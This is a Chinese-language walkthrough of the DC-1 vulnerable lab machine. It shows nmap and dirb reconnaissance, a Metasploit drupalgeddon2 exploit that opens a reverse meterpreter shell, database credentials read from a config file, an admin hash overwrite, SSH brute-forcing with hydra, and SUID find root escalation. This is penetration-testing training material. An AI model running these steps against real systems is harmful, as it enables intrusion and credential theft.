封神不問榜,雁過不留痕
實驗過程
- 信息收集
- 漏洞挖掘
- 權限提升
實驗環境
VMware Workstation Pro 14
Kali-Linux-2019.2-vmware-amd64
DC-1靶機
1、信息收集
1.1主機發現
這裏有兩種方法,第一種方法:使用VMware去查看DC_1靶機的MAC地址;第二種方法:直接進行主機發現。
root@kali:~# arp-scan -l
root@kali:~# nmap -sP 192.168.136.0/24
得到靶機DC_1的IP地址爲192.168.136.133
1.2端口使用
root@kali:~# nmap -sS -sV -v -p- -A 192.168.136.133 //192.168.136.133是靶機DC_1的IP地址
1.3威脅建模
開放了22、80、111、40489端口,使用瀏覽器訪問靶機地址
三大PHP CMS網站:Drupal、 Wordpress、Joomla
2、漏洞挖掘
2.1目錄遍歷
root@kali:~# dirb http://192.168.136.133
目錄太多,先去訪問一下robots.txt
訪問一下UPGRADE.txt
,看一下靶機網站的版本。
知道了Drupal的版本後,通過谷歌進行查看版本漏洞。
2.2漏洞利用
root@kali:~# msfconsole
msf5 > search drupal
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > info
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set payload
set payload generic/custom set payload php/exec
set payload generic/shell_bind_tcp set payload php/meterpreter/bind_tcp
set payload generic/shell_reverse_tcp set payload php/meterpreter/bind_tcp_ipv6
set payload multi/meterpreter/reverse_http set payload php/meterpreter/bind_tcp_ipv6_uuid
set payload multi/meterpreter/reverse_https set payload php/meterpreter/bind_tcp_uuid
set payload php/bind_perl set payload php/meterpreter/reverse_tcp
set payload php/bind_perl_ipv6 set payload php/meterpreter/reverse_tcp_uuid
set payload php/bind_php set payload php/meterpreter_reverse_tcp
set payload php/bind_php_ipv6 set payload php/reverse_perl
set payload php/download_exec set payload php/reverse_php
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.136.128
LHOST => 192.168.136.128
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.136.133
RHOSTS => 192.168.136.133
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit
找到flag1.txt ,但是查看不了,繼續訪問其他目錄,找到了flag2
得到數據庫信息
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
接下來,訪問數據庫
遠程連接一下
meterpreter > shell
Process 3444 created.
Channel 2 created.
3、權限提升
執行拿shell,shell反彈
python -c 'import pty;pty.spawn("/bin/bash")'
此時,我們連接一下數據庫(上面得到了賬號和密碼)
www-data@DC-1:/var/www/sites/default$ mysql -udbuser -pR0ck3t
進入數據庫
接着操作得到admin的密文
這裏要破解密文,可以使用暴力破解或者是在數據庫中更新密碼
我使用更新密碼;
www-data@DC-1:/var/www$ php scripts/password-hash.sh mima
進入數據庫更新密碼
mysql> update users set pass="$S$DRTai/4L5r8eZU.mQtKkWkZMpJuSrLLZ4aFlhVrI9CHix.MQzOn8" where uid=1;
使用瀏覽器登陸,拿到flag3
得到思路,尋找passwd
www-data@DC-1:/var/www$ cat /etc/passwd
找到flag4,但是打不開,知道開放了22端口,嘗試爆破一下
root@kali:~# hydra -l flag4 -p /usr/share/john/password.lst 192.168.136.133 ssh -vV -f -o hydra.ssh
拿到密碼orange
登陸
flag4@DC-1:~$ ls
flag4.txt
flag4@DC-1:~$ cat flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
找一下suid指令的存放路徑
flag4@DC-1:~$ find / -perm -4000 2>/dev/null
得到提示,我們可以去找root
查閱資料知道,find
命令可以調用外部命令
flag4@DC-1:~$ find mima -exec "whoami" \; //建立一個mima文件夾先
繼續調用外部命令,進入管理員權限
flag4@DC-1:~$ find mima -exec "/bin/sh" \;
到此,拿下靶機DC_1
總結
主要是使用find去提權